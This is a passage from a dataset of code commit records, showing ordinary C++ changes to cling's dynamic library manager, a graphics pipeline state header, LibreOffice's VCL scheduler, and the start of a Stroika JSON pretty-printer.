defined(LLVM_ON_UNIX)\n#ifdef __APPLE__\n llvm::SmallString<512>::iterator IStemEnd = filenameWithExt.end() - 1;\n#endif\n static const char* DyLibExt = \".so\";\n#elif defined(LLVM_ON_WIN32)\n static const char* DyLibExt = \".dll\";\n#else\n# error \"Unsupported platform.\"\n#endif\n filenameWithExt += DyLibExt;\n foundDyLib = lookupLibInPaths(filenameWithExt);\n#ifdef __APPLE__\n if (foundDyLib.empty()) {\n filenameWithExt.erase(IStemEnd + 1, filenameWithExt.end());\n filenameWithExt += \".dylib\";\n foundDyLib = lookupLibInPaths(filenameWithExt);\n }\n#endif\n }\n\n if (foundDyLib.empty())\n return \"\";\n\n \/\/ get canonical path name and check if already loaded\n#if defined(LLVM_ON_WIN32)\n llvm::SmallString<_MAX_PATH> FullPath(\"\");\n char *res = _fullpath((char *)FullPath.data(), foundDyLib.c_str(), _MAX_PATH);\n#else\n llvm::SmallString<PATH_MAX+1> FullPath(\"\");\n char *res = realpath(foundDyLib.c_str(), (char *)FullPath.data());\n#endif\n if (res == 0) {\n llvm::errs() << \"cling::DynamicLibraryManager::lookupLibMaybeAddExt(): \"\n \"error getting real (canonical) path of library \" << foundDyLib << '\\n';\n return foundDyLib;\n }\n FullPath.set_size(strlen(res));\n return FullPath.str();\n }\n\n std::string DynamicLibraryManager::normalizePath(llvm::StringRef path) {\n \/\/ Make the path canonical if the file exists.\n struct stat buffer;\n if (stat(path.data(), &buffer) != 0)\n return \"\";\n#if defined(LLVM_ON_WIN32)\n char buf[_MAX_PATH];\n char *res = _fullpath(buf, path.data(), _MAX_PATH);\n#else\n char buf[PATH_MAX+1];\n char *res = realpath(path.data(), buf);\n#endif\n if (res == 0) {\n assert(0 && \"Cannot normalize!?\");\n return \"\";\n }\n return res;\n }\n\n std::string\n DynamicLibraryManager::lookupLibrary(llvm::StringRef libStem) const {\n llvm::SmallString<128> Absolute(libStem);\n llvm::sys::fs::make_absolute(Absolute);\n bool isAbsolute = libStem == Absolute;\n\n \/\/ If it is an absolute path, don't try iterate over the paths.\n if (isAbsolute) {\n if (isSharedLib(libStem))\n return normalizePath(libStem);\n else\n return \"\";\n }\n\n std::string foundName = lookupLibMaybeAddExt(libStem);\n if (foundName.empty() && !libStem.startswith(\"lib\")) {\n \/\/ try with \"lib\" prefix:\n foundName = lookupLibMaybeAddExt(\"lib\" + libStem.str());\n }\n\n if (isSharedLib(foundName))\n return normalizePath(foundName);\n return \"\";\n }\n\n DynamicLibraryManager::LoadLibResult\n DynamicLibraryManager::loadLibrary(const std::string& libStem,\n bool permanent) {\n std::string canonicalLoadedLib = lookupLibrary(libStem);\n if (canonicalLoadedLib.empty())\n return kLoadLibNotFound;\n\n if (m_LoadedLibraries.find(canonicalLoadedLib) != m_LoadedLibraries.end())\n return kLoadLibAlreadyLoaded;\n\n std::string errMsg;\n \/\/ TODO: !permanent case\n#if defined(LLVM_ON_WIN32)\n HMODULE dyLibHandle = LoadLibraryEx(canonicalLoadedLib.c_str(), NULL,\n DONT_RESOLVE_DLL_REFERENCES);\n errMsg = \"LoadLibraryEx: GetLastError() returned \";\n errMsg += GetLastError();\n#else\n const void* dyLibHandle = dlopen(canonicalLoadedLib.c_str(),\n RTLD_LAZY|RTLD_GLOBAL);\n if (const char* DyLibError = dlerror()) {\n errMsg = DyLibError;\n }\n#endif\n if (!dyLibHandle) {\n llvm::errs() << \"cling::DynamicLibraryManager::loadLibrary(): \" << errMsg\n << '\\n';\n return kLoadLibLoadError;\n }\n else if (InterpreterCallbacks* C = getCallbacks())\n C->LibraryLoaded(dyLibHandle, canonicalLoadedLib);\n\n std::pair<DyLibs::iterator, bool> insRes\n = m_DyLibs.insert(std::pair<DyLibHandle, std::string>(dyLibHandle,\n canonicalLoadedLib));\n if (!insRes.second)\n return kLoadLibAlreadyLoaded;\n m_LoadedLibraries.insert(canonicalLoadedLib);\n return kLoadLibSuccess;\n }\n\n void DynamicLibraryManager::unloadLibrary(llvm::StringRef libStem) {\n std::string canonicalLoadedLib = lookupLibrary(libStem);\n if (!isLibraryLoaded(canonicalLoadedLib))\n return;\n\n DyLibHandle dyLibHandle = 0;\n for (DyLibs::const_iterator I = m_DyLibs.begin(), E = m_DyLibs.end();\n I != E; ++I) {\n if (I->second == canonicalLoadedLib)\n dyLibHandle = I->first;\n }\n\n std::string errMsg;\n \/\/ TODO: !permanent case\n#if defined(LLVM_ON_WIN32)\n FreeLibrary((HMODULE)dyLibHandle);\n errMsg = \"UnoadLibraryEx: GetLastError() returned \";\n errMsg += GetLastError();\n#else\n dlclose(const_cast<void*>(dyLibHandle));\n if (const char* DyLibError = dlerror()) {\n errMsg = DyLibError;\n }\n#endif\n if (InterpreterCallbacks* C = getCallbacks())\n C->LibraryUnloaded(dyLibHandle, canonicalLoadedLib);\n\n m_DyLibs.erase(dyLibHandle);\n m_LoadedLibraries.erase(canonicalLoadedLib);\n }\n\n bool DynamicLibraryManager::isLibraryLoaded(llvm::StringRef fullPath) const {\n std::string canonPath = normalizePath(fullPath);\n if (m_LoadedLibraries.find(canonPath) != m_LoadedLibraries.end())\n return true;\n return false;\n }\n\n void DynamicLibraryManager::ExposeHiddenSharedLibrarySymbols(void* handle) {\n llvm::sys::DynamicLibrary::addPermanentLibrary(const_cast<void*>(handle));\n }\n} \/\/ end namespace cling\n<|endoftext|>"} {"text":"<commit_before>\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n#pragma once\n#include \"Graphics\/BlendStateDesc.hpp\"\n#include \"Graphics\/RasterizerStateDesc.hpp\"\n#include \"Graphics\/DepthStencilStateDesc.hpp\"\n#include \"Graphics\/InputLayoutDesc.hpp\"\n#include \"Graphics\/SampleDesc.hpp\"\n#include \"Graphics\/iResourceBinding.hpp\"\n#include \"Graphics\/IndexStripCut.hpp\"\n#include \"Graphics\/TopologyType.hpp\"\n#include \"IntrusivePtr.hpp\"\n\nnamespace CPF\n{\n\tnamespace Graphics\n\t{\n\t\tstruct iDevice;\n\t\tstruct iShader;\n\t\tstruct iPipeline;\n\t\tstruct iResourceBinding;\n\n\t\tstruct PipelineStateDesc\n\t\t{\n\t\t\tstatic constexpr int kMaxRenderTargets = 8;\n\n\t\t\tPipelineStateDesc();\n\t\t\tPipelineStateDesc(const PipelineStateDesc& rhs);\n\n\t\t\tIntrusivePtr<iResourceBinding> mpResourceBinding;\n\t\t\t\/\/ TODO: Shaders should not be instances, they should be opaque handles or a struct.\n\t\t\tIntrusivePtr<iShader> mpVertex;\n\t\t\tIntrusivePtr<iShader> mpPixel;\n\t\t\tIntrusivePtr<iShader> mpDomain;\n\t\t\tIntrusivePtr<iShader> mpHull;\n\t\t\tIntrusivePtr<iShader> mpGeometry;\n\t\t\tBlendStateDesc mBlendState;\n\t\t\tuint32_t mSampleMask;\n\t\t\tRasterizerStateDesc mRasterizerState;\n\t\t\tDepthStencilStateDesc mDepthStencil;\n\t\t\tcInputLayoutDesc mInputLayout;\n\t\t\tIndexStripCut mIndexStripCut;\n\t\t\tTopologyType mTopology;\n\t\t\tint32_t mRenderTargetCount;\n\t\t\tFormat mRenderTargetFormats[kMaxRenderTargets];\n\t\t\tFormat mDepthStencilFormat;\n\t\t\tSampleDesc mSampleState;\n\n\t\t\t\/\/ Items not in the pipeline at this time.\n\t\t\t\/\/ StreamOutput\n\t\t\t\/\/ node mask\n\t\t\t\/\/ cache pipeline state\n\t\t\t\/\/ flags\n\t\t};\n\n\t\tinline PipelineStateDesc::PipelineStateDesc()\n\t\t\t: mBlendState(Defaults<BlendStateDesc>())\n\t\t\t, mSampleMask(uint32_t(-1))\n\t\t\t, mRasterizerState(Defaults<RasterizerStateDesc>())\n\t\t\t, mIndexStripCut(IndexStripCut::eNone)\n\t\t\t, mTopology(TopologyType::eTriangle)\n\t\t\t, mRenderTargetCount(0)\n\t\t\t, mDepthStencilFormat(Format::eNone)\n\t\t\t, mSampleState{ 1, 0 }\n\t\t{\n\t\t\tfor (int i = 0; i < kMaxRenderTargets; ++i)\n\t\t\t\tmRenderTargetFormats[i] = Format::eNone;\n\t\t}\n\n\t\tinline PipelineStateDesc::PipelineStateDesc(const PipelineStateDesc& rhs)\n\t\t\t: mpResourceBinding(rhs.mpResourceBinding)\n\t\t\t, mpVertex(rhs.mpVertex)\n\t\t\t, mpPixel(rhs.mpPixel)\n\t\t\t, mpDomain(rhs.mpDomain)\n\t\t\t, mpHull(rhs.mpHull)\n\t\t\t, mpGeometry(rhs.mpGeometry)\n\t\t\t, mBlendState(rhs.mBlendState)\n\t\t\t, mSampleMask(rhs.mSampleMask)\n\t\t\t, mRasterizerState(rhs.mRasterizerState)\n\t\t\t, mDepthStencil(rhs.mDepthStencil)\n\t\t\t, mInputLayout(rhs.mInputLayout)\n\t\t\t, mIndexStripCut(rhs.mIndexStripCut)\n\t\t\t, mTopology(rhs.mTopology)\n\t\t\t, mRenderTargetCount(rhs.mRenderTargetCount)\n\t\t\t, mDepthStencilFormat(rhs.mDepthStencilFormat)\n\t\t\t, mSampleState(rhs.mSampleState)\n\t\t{\n\t\t\tfor (int i = 0; i < kMaxRenderTargets; ++i)\n\t\t\t\tmRenderTargetFormats[i] = rhs.mRenderTargetFormats[i];\n\t\t}\n\t}\n}\n<commit_msg>Quick fixit.<commit_after>\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n#pragma once\n#include \"Graphics\/BlendStateDesc.hpp\"\n#include \"Graphics\/RasterizerStateDesc.hpp\"\n#include \"Graphics\/DepthStencilStateDesc.hpp\"\n#include \"Graphics\/InputLayoutDesc.hpp\"\n#include \"Graphics\/SampleDesc.hpp\"\n#include \"Graphics\/iResourceBinding.hpp\"\n#include \"Graphics\/IndexStripCut.hpp\"\n#include \"Graphics\/TopologyType.hpp\"\n#include \"IntrusivePtr.hpp\"\n\nnamespace CPF\n{\n\tnamespace Graphics\n\t{\n\t\tstruct iDevice;\n\t\tstruct iShader;\n\t\tstruct iPipeline;\n\t\tstruct iResourceBinding;\n\n\t\tstruct PipelineStateDesc\n\t\t{\n\t\t\tstatic constexpr int kMaxRenderTargets = 8;\n\n\t\t\tPipelineStateDesc();\n\t\t\tPipelineStateDesc(const PipelineStateDesc& rhs);\n\n\t\t\tIntrusivePtr<iResourceBinding> mpResourceBinding;\n\t\t\t\/\/ TODO: Shaders should not be instances, they should be opaque handles or a struct.\n\t\t\tIntrusivePtr<iShader> mpVertex;\n\t\t\tIntrusivePtr<iShader> mpPixel;\n\t\t\tIntrusivePtr<iShader> mpDomain;\n\t\t\tIntrusivePtr<iShader> mpHull;\n\t\t\tIntrusivePtr<iShader> mpGeometry;\n\t\t\tBlendStateDesc mBlendState;\n\t\t\tuint32_t mSampleMask;\n\t\t\tRasterizerStateDesc mRasterizerState;\n\t\t\tDepthStencilStateDesc mDepthStencil;\n\t\t\tInputLayoutDesc mInputLayout;\n\t\t\tIndexStripCut mIndexStripCut;\n\t\t\tTopologyType mTopology;\n\t\t\tint32_t mRenderTargetCount;\n\t\t\tFormat mRenderTargetFormats[kMaxRenderTargets];\n\t\t\tFormat mDepthStencilFormat;\n\t\t\tSampleDesc mSampleState;\n\n\t\t\t\/\/ Items not in the pipeline at this time.\n\t\t\t\/\/ StreamOutput\n\t\t\t\/\/ node mask\n\t\t\t\/\/ cache pipeline state\n\t\t\t\/\/ flags\n\t\t};\n\n\t\tinline PipelineStateDesc::PipelineStateDesc()\n\t\t\t: mBlendState(Defaults<BlendStateDesc>())\n\t\t\t, mSampleMask(uint32_t(-1))\n\t\t\t, mRasterizerState(Defaults<RasterizerStateDesc>())\n\t\t\t, mIndexStripCut(IndexStripCut::eNone)\n\t\t\t, mTopology(TopologyType::eTriangle)\n\t\t\t, mRenderTargetCount(0)\n\t\t\t, mDepthStencilFormat(Format::eNone)\n\t\t\t, mSampleState{ 1, 0 }\n\t\t{\n\t\t\tfor (int i = 0; i < kMaxRenderTargets; ++i)\n\t\t\t\tmRenderTargetFormats[i] = Format::eNone;\n\t\t}\n\n\t\tinline PipelineStateDesc::PipelineStateDesc(const PipelineStateDesc& rhs)\n\t\t\t: mpResourceBinding(rhs.mpResourceBinding)\n\t\t\t, mpVertex(rhs.mpVertex)\n\t\t\t, mpPixel(rhs.mpPixel)\n\t\t\t, mpDomain(rhs.mpDomain)\n\t\t\t, mpHull(rhs.mpHull)\n\t\t\t, mpGeometry(rhs.mpGeometry)\n\t\t\t, mBlendState(rhs.mBlendState)\n\t\t\t, mSampleMask(rhs.mSampleMask)\n\t\t\t, mRasterizerState(rhs.mRasterizerState)\n\t\t\t, mDepthStencil(rhs.mDepthStencil)\n\t\t\t, mInputLayout(rhs.mInputLayout)\n\t\t\t, mIndexStripCut(rhs.mIndexStripCut)\n\t\t\t, mTopology(rhs.mTopology)\n\t\t\t, mRenderTargetCount(rhs.mRenderTargetCount)\n\t\t\t, mDepthStencilFormat(rhs.mDepthStencilFormat)\n\t\t\t, mSampleState(rhs.mSampleState)\n\t\t{\n\t\t\tfor (int i = 0; i < kMaxRenderTargets; ++i)\n\t\t\t\tmRenderTargetFormats[i] = rhs.mRenderTargetFormats[i];\n\t\t}\n\t}\n}\n<|endoftext|>"} {"text":"<commit_before>\/* -*- Mode: C++; tab-width: 4; indent-tabs-mode: nil; c-basic-offset: 4 -*- *\/\n\/*\n * This file is part of the LibreOffice project.\n *\n * This Source Code Form is subject to the terms of the Mozilla Public\n * License, v. 2.0. If a copy of the MPL was not distributed with this\n * file, You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/.\n *\n * This file incorporates work covered by the following license notice:\n *\n * Licensed to the Apache Software Foundation (ASF) under one or more\n * contributor license agreements. See the NOTICE file distributed\n * with this work for additional information regarding copyright\n * ownership. The ASF licenses this file to you under the Apache\n * License, Version 2.0 (the \"License\"); you may not use this file\n * except in compliance with the License. You may obtain a copy of\n * the License at http:\/\/www.apache.org\/licenses\/LICENSE-2.0 .\n *\/\n\n#include <svdata.hxx>\n#include <tools\/time.hxx>\n#include <vcl\/scheduler.hxx>\n#include <vcl\/timer.hxx>\n#include <algorithm>\n#include <saltimer.hxx>\n\nvoid Scheduler::ImplInvoke(sal_uInt64 nTime)\n{\n mnUpdateTime = nTime;\n\n if (mpSchedulerData->mbDelete || mbInScheduler )\n return;\n\n \/\/ prepare Scheduler Object for deletion after handling\n SetDeletionFlags();\n\n \/\/ invoke it\n mbInScheduler = true;\n Invoke();\n mbInScheduler = false;\n}\n\nScheduler* Scheduler::ImplGetHighestPrioTask( bool bTimer )\n{\n ImplSVData* pSVData = ImplGetSVData();\n Scheduler * pMostUrgent = NULL;\n\n std::for_each(pSVData->maSchedulers->begin(), pSVData->maSchedulers->end(),\n [&pSVData, bTimer, &pMostUrgent] (ImplSchedulerData *rScheduler)\n {\n if ( rScheduler->mpScheduler &&\n rScheduler->mpScheduler->ImplIsScheduleReady(pSVData->mnUpdateStack) &&\n rScheduler->mpScheduler->ReadyForSchedule( bTimer ) &&\n rScheduler->mpScheduler->IsActive() )\n {\n if (!pMostUrgent)\n pMostUrgent = rScheduler->mpScheduler;\n else\n {\n \/\/ Find the highest priority.\n \/\/ If the priority of the current task is higher (numerical value is lower) than\n \/\/ the priority of the most urgent, the current task gets the new most urgent.\n if ( rScheduler->mpScheduler->GetPriority() < pMostUrgent->GetPriority() )\n pMostUrgent = rScheduler->mpScheduler;\n }\n }\n });\n\n return pMostUrgent;\n}\n\nvoid Scheduler::SetDeletionFlags()\n{\n Stop();\n}\n\nvoid Scheduler::ImplDeInitScheduler(bool bAll \/*=true*\/)\n{\n ImplSVData* pSVData = ImplGetSVData();\n\n if (pSVData->mpSalTimer)\n {\n pSVData->mpSalTimer->Stop();\n }\n\n pSVData->maSchedulers->remove_if( [] (ImplSchedulerData *rSchedulerData)\n {\n if(rSchedulerData->mpScheduler != NULL)\n {\n rSchedulerData->mpScheduler->ImplDispose();\n }\n else\n delete rSchedulerData;\n\n return true;\n });\n\n if(bAll)\n {\n delete pSVData->maSchedulers;\n pSVData->maSchedulers = NULL;\n }\n\n delete pSVData->mpSalTimer;\n pSVData->mpSalTimer = NULL;\n}\n\nvoid Scheduler::CallbackTaskScheduling(bool ignore)\n{\n \/\/ this function is for the saltimer callback\n (void)ignore;\n Scheduler::ProcessTaskScheduling( true );\n}\n\nvoid Scheduler::ProcessTaskScheduling( bool bTimer )\n{\n \/\/ process all pending Tasks\n \/\/ if bTimer True, only handle timer\n Scheduler* pScheduler = NULL;\n ImplSVData* pSVData = ImplGetSVData();\n sal_uInt64 nTime = tools::Time::GetSystemTicks();\n sal_uInt64 nMinPeriod = MAX_TIMER_PERIOD;\n\n pSVData->mnUpdateStack++;\n\n \/\/ tdf#91727 - NB. bTimer is ultimately not used\n if ((pScheduler = Scheduler::ImplGetHighestPrioTask(bTimer)) != NULL)\n pScheduler->ImplInvoke(nTime);\n\n pSVData->maSchedulers->remove_if( [&nMinPeriod, nTime, pSVData] (ImplSchedulerData *rSchedulerData)\n {\n if (rSchedulerData->mpScheduler)\n return rSchedulerData->mpScheduler->ImplHandleTaskScheduling(nMinPeriod, nTime);\n else\n {\n delete rSchedulerData;\n return true;\n }\n });\n\n \/\/ delete clock if no more timers available\n if ( pSVData->maSchedulers->empty() )\n {\n if ( pSVData->mpSalTimer )\n pSVData->mpSalTimer->Stop();\n pSVData->mnTimerPeriod = MAX_TIMER_PERIOD;\n }\n else\n {\n Timer::ImplStartTimer( pSVData, nMinPeriod );\n }\n\n pSVData->mnUpdateStack--;\n}\n\nvoid Scheduler::SetPriority( SchedulerPriority ePriority )\n{\n mePriority = ePriority;\n}\n\nvoid Scheduler::Start()\n{\n ImplSVData* pSVData = ImplGetSVData();\n \/\/ Mark timer active\n mbActive = true;\n\n if ( !mpSchedulerData )\n {\n mpSchedulerData = new ImplSchedulerData;\n mpSchedulerData->mpScheduler = this;\n \/\/ insert Scheduler\n mbInScheduler = false;\n pSVData->maSchedulers->push_back(mpSchedulerData);\n }\n\n mpSchedulerData->mbDelete = false;\n mnUpdateTime = tools::Time::GetSystemTicks();\n mnUpdateStack = pSVData->mnUpdateStack;\n}\n\nvoid Scheduler::Stop()\n{\n mbActive = false;\n\n if ( mpSchedulerData )\n mpSchedulerData->mbDelete = true;\n}\n\nScheduler& Scheduler::operator=( const Scheduler& rScheduler )\n{\n if ( IsActive() )\n Stop();\n\n mbActive = false;\n mePriority = rScheduler.mePriority;\n\n if ( rScheduler.IsActive() )\n Start();\n\n return *this;\n}\n\nScheduler::Scheduler(const sal_Char *pDebugName):\n mpSchedulerData(NULL),\n mpDebugName(pDebugName),\n mePriority(SchedulerPriority::HIGH),\r\n mbActive(false),\r\n mnUpdateTime(0)\n{\n}\n\nScheduler::Scheduler( const Scheduler& rScheduler ):\n mpSchedulerData(NULL),\n mpDebugName(rScheduler.mpDebugName),\n mePriority(SchedulerPriority::HIGH),\r\n mbActive(false),\r\n mnUpdateTime(0)\n{\n if ( rScheduler.IsActive() )\n Start();\n}\n\nScheduler::~Scheduler()\n{\n if ( mpSchedulerData )\n {\n mpSchedulerData->mbDelete = true;\n mpSchedulerData->mpScheduler = NULL;\n }\n}\n\nbool Scheduler::ImplIsScheduleReady(sal_uInt32 nUpdateStack)\n{\n return !mpSchedulerData->mbDelete && (mnUpdateStack <= nUpdateStack);\n}\n\nvoid Scheduler::ImplDispose()\n{\n mpSchedulerData->mpScheduler = NULL;\n delete mpSchedulerData;\n mpSchedulerData = NULL;\n}\n\nvoid Scheduler::ImplInitScheduler()\n{\n ImplSVData* pSVData = ImplGetSVData();\n\n if(pSVData->maSchedulers == NULL)\n pSVData->maSchedulers = new ImplScheduler_t;\n}\n\n\nbool Scheduler::ImplHandleTaskScheduling(sal_uInt64 &nMinPeriod, sal_uInt64 nTime)\n{\n \/\/ process all pending Tasks\n if( !mbInScheduler )\n {\n \/\/ Should Task be released from scheduling?\n if ( !mpSchedulerData->mbDelete )\n {\n mnUpdateStack = 0;\n nMinPeriod = UpdateMinPeriod( nMinPeriod, nTime );\n }\n else\n {\n ImplDispose();\n return true;\n }\n }\n\n return false;\n}\n<commit_msg>vcl: loplugin:pointertobool<commit_after>\/* -*- Mode: C++; tab-width: 4; indent-tabs-mode: nil; c-basic-offset: 4 -*- *\/\n\/*\n * This file is part of the LibreOffice project.\n *\n * This Source Code Form is subject to the terms of the Mozilla Public\n * License, v. 2.0. If a copy of the MPL was not distributed with this\n * file, You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/.\n *\n * This file incorporates work covered by the following license notice:\n *\n * Licensed to the Apache Software Foundation (ASF) under one or more\n * contributor license agreements. See the NOTICE file distributed\n * with this work for additional information regarding copyright\n * ownership. The ASF licenses this file to you under the Apache\n * License, Version 2.0 (the \"License\"); you may not use this file\n * except in compliance with the License. You may obtain a copy of\n * the License at http:\/\/www.apache.org\/licenses\/LICENSE-2.0 .\n *\/\n\n#include <svdata.hxx>\n#include <tools\/time.hxx>\n#include <vcl\/scheduler.hxx>\n#include <vcl\/timer.hxx>\n#include <algorithm>\n#include <saltimer.hxx>\n\nvoid Scheduler::ImplInvoke(sal_uInt64 nTime)\n{\n mnUpdateTime = nTime;\n\n if (mpSchedulerData->mbDelete || mbInScheduler )\n return;\n\n \/\/ prepare Scheduler Object for deletion after handling\n SetDeletionFlags();\n\n \/\/ invoke it\n mbInScheduler = true;\n Invoke();\n mbInScheduler = false;\n}\n\nScheduler* Scheduler::ImplGetHighestPrioTask( bool bTimer )\n{\n ImplSVData* pSVData = ImplGetSVData();\n Scheduler * pMostUrgent = NULL;\n\n std::for_each(pSVData->maSchedulers->begin(), pSVData->maSchedulers->end(),\n [&pSVData, bTimer, &pMostUrgent] (ImplSchedulerData *rScheduler)\n {\n if ( rScheduler->mpScheduler &&\n rScheduler->mpScheduler->ImplIsScheduleReady(pSVData->mnUpdateStack) &&\n rScheduler->mpScheduler->ReadyForSchedule( bTimer ) &&\n rScheduler->mpScheduler->IsActive() )\n {\n if (!pMostUrgent)\n pMostUrgent = rScheduler->mpScheduler;\n else\n {\n \/\/ Find the highest priority.\n \/\/ If the priority of the current task is higher (numerical value is lower) than\n \/\/ the priority of the most urgent, the current task gets the new most urgent.\n if ( rScheduler->mpScheduler->GetPriority() < pMostUrgent->GetPriority() )\n pMostUrgent = rScheduler->mpScheduler;\n }\n }\n });\n\n return pMostUrgent;\n}\n\nvoid Scheduler::SetDeletionFlags()\n{\n Stop();\n}\n\nvoid Scheduler::ImplDeInitScheduler(bool bAll \/*=true*\/)\n{\n ImplSVData* pSVData = ImplGetSVData();\n\n if (pSVData->mpSalTimer)\n {\n pSVData->mpSalTimer->Stop();\n }\n\n pSVData->maSchedulers->remove_if( [] (ImplSchedulerData *rSchedulerData)\n {\n if(rSchedulerData->mpScheduler != NULL)\n {\n rSchedulerData->mpScheduler->ImplDispose();\n }\n else\n delete rSchedulerData;\n\n return true;\n });\n\n if(bAll)\n {\n delete pSVData->maSchedulers;\n pSVData->maSchedulers = NULL;\n }\n\n delete pSVData->mpSalTimer;\n pSVData->mpSalTimer = NULL;\n}\n\nvoid Scheduler::CallbackTaskScheduling(bool ignore)\n{\n \/\/ this function is for the saltimer callback\n (void)ignore;\n Scheduler::ProcessTaskScheduling( true );\n}\n\nvoid Scheduler::ProcessTaskScheduling( bool bTimer )\n{\n \/\/ process all pending Tasks\n \/\/ if bTimer True, only handle timer\n Scheduler* pScheduler = NULL;\n ImplSVData* pSVData = ImplGetSVData();\n sal_uInt64 nTime = tools::Time::GetSystemTicks();\n sal_uInt64 nMinPeriod = MAX_TIMER_PERIOD;\n\n pSVData->mnUpdateStack++;\n\n \/\/ tdf#91727 - NB. bTimer is ultimately not used\n if ((pScheduler = Scheduler::ImplGetHighestPrioTask(bTimer)) != NULL)\n pScheduler->ImplInvoke(nTime);\n\n pSVData->maSchedulers->remove_if( [&nMinPeriod, nTime, pSVData] (ImplSchedulerData *rSchedulerData)\n {\n if (rSchedulerData->mpScheduler != 0)\n return rSchedulerData->mpScheduler->ImplHandleTaskScheduling(nMinPeriod, nTime);\n else\n {\n delete rSchedulerData;\n return true;\n }\n });\n\n \/\/ delete clock if no more timers available\n if ( pSVData->maSchedulers->empty() )\n {\n if ( pSVData->mpSalTimer )\n pSVData->mpSalTimer->Stop();\n pSVData->mnTimerPeriod = MAX_TIMER_PERIOD;\n }\n else\n {\n Timer::ImplStartTimer( pSVData, nMinPeriod );\n }\n\n pSVData->mnUpdateStack--;\n}\n\nvoid Scheduler::SetPriority( SchedulerPriority ePriority )\n{\n mePriority = ePriority;\n}\n\nvoid Scheduler::Start()\n{\n ImplSVData* pSVData = ImplGetSVData();\n \/\/ Mark timer active\n mbActive = true;\n\n if ( !mpSchedulerData )\n {\n mpSchedulerData = new ImplSchedulerData;\n mpSchedulerData->mpScheduler = this;\n \/\/ insert Scheduler\n mbInScheduler = false;\n pSVData->maSchedulers->push_back(mpSchedulerData);\n }\n\n mpSchedulerData->mbDelete = false;\n mnUpdateTime = tools::Time::GetSystemTicks();\n mnUpdateStack = pSVData->mnUpdateStack;\n}\n\nvoid Scheduler::Stop()\n{\n mbActive = false;\n\n if ( mpSchedulerData )\n mpSchedulerData->mbDelete = true;\n}\n\nScheduler& Scheduler::operator=( const Scheduler& rScheduler )\n{\n if ( IsActive() )\n Stop();\n\n mbActive = false;\n mePriority = rScheduler.mePriority;\n\n if ( rScheduler.IsActive() )\n Start();\n\n return *this;\n}\n\nScheduler::Scheduler(const sal_Char *pDebugName):\n mpSchedulerData(NULL),\n mpDebugName(pDebugName),\n mePriority(SchedulerPriority::HIGH),\r\n mbActive(false),\r\n mnUpdateTime(0)\n{\n}\n\nScheduler::Scheduler( const Scheduler& rScheduler ):\n mpSchedulerData(NULL),\n mpDebugName(rScheduler.mpDebugName),\n mePriority(SchedulerPriority::HIGH),\r\n mbActive(false),\r\n mnUpdateTime(0)\n{\n if ( rScheduler.IsActive() )\n Start();\n}\n\nScheduler::~Scheduler()\n{\n if ( mpSchedulerData )\n {\n mpSchedulerData->mbDelete = true;\n mpSchedulerData->mpScheduler = NULL;\n }\n}\n\nbool Scheduler::ImplIsScheduleReady(sal_uInt32 nUpdateStack)\n{\n return !mpSchedulerData->mbDelete && (mnUpdateStack <= nUpdateStack);\n}\n\nvoid Scheduler::ImplDispose()\n{\n mpSchedulerData->mpScheduler = NULL;\n delete mpSchedulerData;\n mpSchedulerData = NULL;\n}\n\nvoid Scheduler::ImplInitScheduler()\n{\n ImplSVData* pSVData = ImplGetSVData();\n\n if(pSVData->maSchedulers == NULL)\n pSVData->maSchedulers = new ImplScheduler_t;\n}\n\n\nbool Scheduler::ImplHandleTaskScheduling(sal_uInt64 &nMinPeriod, sal_uInt64 nTime)\n{\n \/\/ process all pending Tasks\n if( !mbInScheduler )\n {\n \/\/ Should Task be released from scheduling?\n if ( !mpSchedulerData->mbDelete )\n {\n mnUpdateStack = 0;\n nMinPeriod = UpdateMinPeriod( nMinPeriod, nTime );\n }\n else\n {\n ImplDispose();\n return true;\n }\n }\n\n return false;\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\n * Copyright(c) Sophist Solutions, Inc. 1990-2013. All rights reserved\n *\/\n#include \"..\/..\/StroikaPreComp.h\"\n\n#include \"..\/..\/Streams\/iostream\/BinaryOutputStreamFromOStreamAdapter.h\"\n#include \"..\/..\/Streams\/TextOutputStreamBinaryAdapter.h\"\n\n#include \"Writer.h\"\n\n\nusing namespace Stroika::Foundation;\nusing namespace Stroika::Foundation::DataExchangeFormat;\nusing namespace Stroika::Foundation::Streams;\n\n\n\/*\n * TODO:\n * No known issues\n *\/\n\n\n\n\n\n\/*\n ********************************************************************************\n *************** DataExchangeFormat::JSON::PrettyPrint **************************\n ********************************************************************************\n *\/\nnamespace {\n void Indent_ (const TextOutputStream& out, int indentLevel)\n {\n for (int i = 0; i < indentLevel; ++i) {\n out.Write (L\" \");\n }\n }\n}\nnamespace {\n void PrettyPrint_ (const Memory::VariantValue& v, const TextOutputStream& out, int indentLevel);\n void PrettyPrint_Null_ (const TextOutputStream& out)\n {\n out.Write (L\"null\");\n }\n void PrettyPrint_ (bool v, const TextOutputStream& out)\n {\n if (v) {\n out.Write (L\"true\");\n }\n else {\n out.Write (L\"false\");\n }\n }\n void PrettyPrint_ (long long int v, const TextOutputStream& out)\n {\n wchar_t buf[1024];\n ::swprintf (buf, NEltsOf (buf), L\"%lld\", v);\n out.Write (buf);\n }\n void PrettyPrint_ (unsigned long long int v, const TextOutputStream& out)\n {\n wchar_t buf[1024];\n ::swprintf (buf, NEltsOf (buf), L\"%llu\", v);\n out.Write (buf);\n }\n void PrettyPrint_ (long double v, const TextOutputStream& out)\n {\n wchar_t buf[1024];\n ::swprintf (buf, NEltsOf (buf), L\"%Lf\", v);\n Assert (::wcslen (buf) >= 1);\n \/\/ trim trailing 0\n for (size_t i = ::wcslen (buf) - 1; buf[i] == '0'; --i) {\n if (i >= 0 and buf[i - 1] != '.') {\n buf[i] = '\\0';\n }\n }\n out.Write (buf);\n }\n void PrettyPrint_ (const wstring& v, const TextOutputStream& out)\n {\n out.Write (L\"\\\"\");\n for (auto i = v.begin (); i != v.end (); ++i) {\n switch (*i) {\n case '\\\"':\n out.Write (L\"\\\\\\\"\");\n break;\n case '\\\\':\n out.Write 